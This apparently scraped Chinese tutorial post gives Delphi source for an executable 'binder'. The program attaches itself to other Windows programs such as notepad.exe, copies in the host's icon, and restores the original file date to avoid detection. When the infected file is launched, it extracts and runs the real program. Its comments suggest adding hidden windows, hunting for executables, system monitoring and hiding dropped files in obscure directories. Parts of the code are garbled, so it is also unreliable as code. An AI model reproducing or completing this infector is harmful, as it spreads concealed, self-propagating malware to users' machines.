天天看点

捆绑执行文件

{

**********************捆绑执行文件**********************

**********************参考selfmodify--exe文件自修改*****

与其它程序捆绑后,图标为其它程序的图标.日期不变

这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存

如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

程序中几个数字的确定:

1 在本程序编译后用Aspack.Exe压缩,大小为41472

2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:

本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:

将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。

十六进制编辑软件:常用UltraEdit。不过我喜欢用自己的东西。

}

program exe2;

uses

classes,

Tlhelp32,

windows,

graphics,

ShellAPI,

SysUtils;

{$R *.RES}

var

lppe:TProcessEntry32;

found:boolean;

handle:THandle;

ProcessStr,ExeName:string;

WinDir:pchar;

const

MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s: string);

s1,s2,IcoStream:TMemoryStream;

File2:TFilestream;

ch:array[0..1] of char;

ss:string;

filetime,fhandle:integer;

l:integer;

File2Icon:Ticon;

begin

{若文件s不存在}

if FileExists(s)=False then exit;

try

{若文件不含图标,就不捆绑}

File2Icon:=Ticon.Create;

l:=extracticon(handle,pchar(s),0);

if l=0 then

File2Icon.Free;

exit;

end

else

{提取被捆绑程序图标}

File2Icon.Handle:=extracticon(handle,pchar(s),0);

IcoStream:=TMemoryStream.Create;

File2Icon.SaveToStream(IcoStream);

end;

{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}

File2:=TFilestream.Create(s,fmopenread);

if File2.Size>MySize then

File2.;

File2.Read(ch,2);

ss:=copy(ch,1,2);

if ss='MZ' then

File2.Free;

{将本文件与文件s合并 本文件+s=s}

s2:=TMemoryStream.Create;

s2.loadfromfile(ExeName);

s1:=TMemoryStream.Create;

加入本程序的前部40751字节

第40752字节开始共640字节为图标数据

!!以下数字 40751,81要根据实际情况修改!!

s1.copyfrom(s2,40751);

{将图标换为被捆绑程序图标,图标大小为766}

IcoStream.;

s1.CopyFrom(IcoStream,640);

IcoStream.Free;

s2.;

{加入本程序的后部81字节}

s1.CopyFrom(s2,81);

s2.clear;

s2.loadfromfile(s);

s1.seek(s1.size,soFromBeginning);

{加入被捆绑程序全部}

s1.copyfrom(s2,s2.size);

s2.free;

{得到文件s的日期}

fhandle:=FileOpen(s, fmOpenread);

filetime:=filegetdate(fhandle);

fileclose(fhandle);

s1.SaveToFile(s);

{恢复文件s的日期}

fhandle:=FileOpen(s, fmOpenwrite);

filesetdate(fhandle,filetime);

s1.free;

except end;

procedure CreateFileAndRun;

s1,s2:TMemoryStream;

TempDir:pchar;

cmdstr:string;

a:integer;

Begin

s1.loadfromfile(ExeName);

if s1.Size=MySize then

s1.Free;

s1.seek(MySize,soFromBeginning);

s2.copyfrom(s1,s1.Size-MySize);

GetMem(TempDir,255);

GetTempPath(255,TempDir);

把文件释放到临时目录。

如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,

如 c: windows(or winnt) downl...(☆这是个什么目录?你去研究研究吧!☆)

s2.SaveToFile(TempDir+' '+ExtractFileName(ExeName));

cmdstr:=';

a:=1;

while ParamStr(a)<>' do begin

cmdstr:=cmdstr+ParamStr(a)+' ';

inc(a);

{运行真正的程序文件}

winexec(pchar(TempDir+' '+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);

freemem(TempDir);

GetMem(WinDir,255);

GetWindowsDirectory(WinDir,255);

ExeName:=ParamStr(0);

handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found:=Process32First(handle,lppe);

ProcessStr:=';

while found do

ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}

found:=Process32Next(handle,lppe);

{如果notepad没运行,就与它捆在一起}

if pos(WinDir+' notepad.exe',ProcessStr)=0 then

copy2(WinDir+' notepad.exe');

{其它需要捆绑的文件

if pos(...,ProcessStr)=0 then

copy2(...);

...

freemem(WinDir);

你想用这个程序干点其它的什么...

CreateFileAndRun;{释放文件并带参数运行}

end.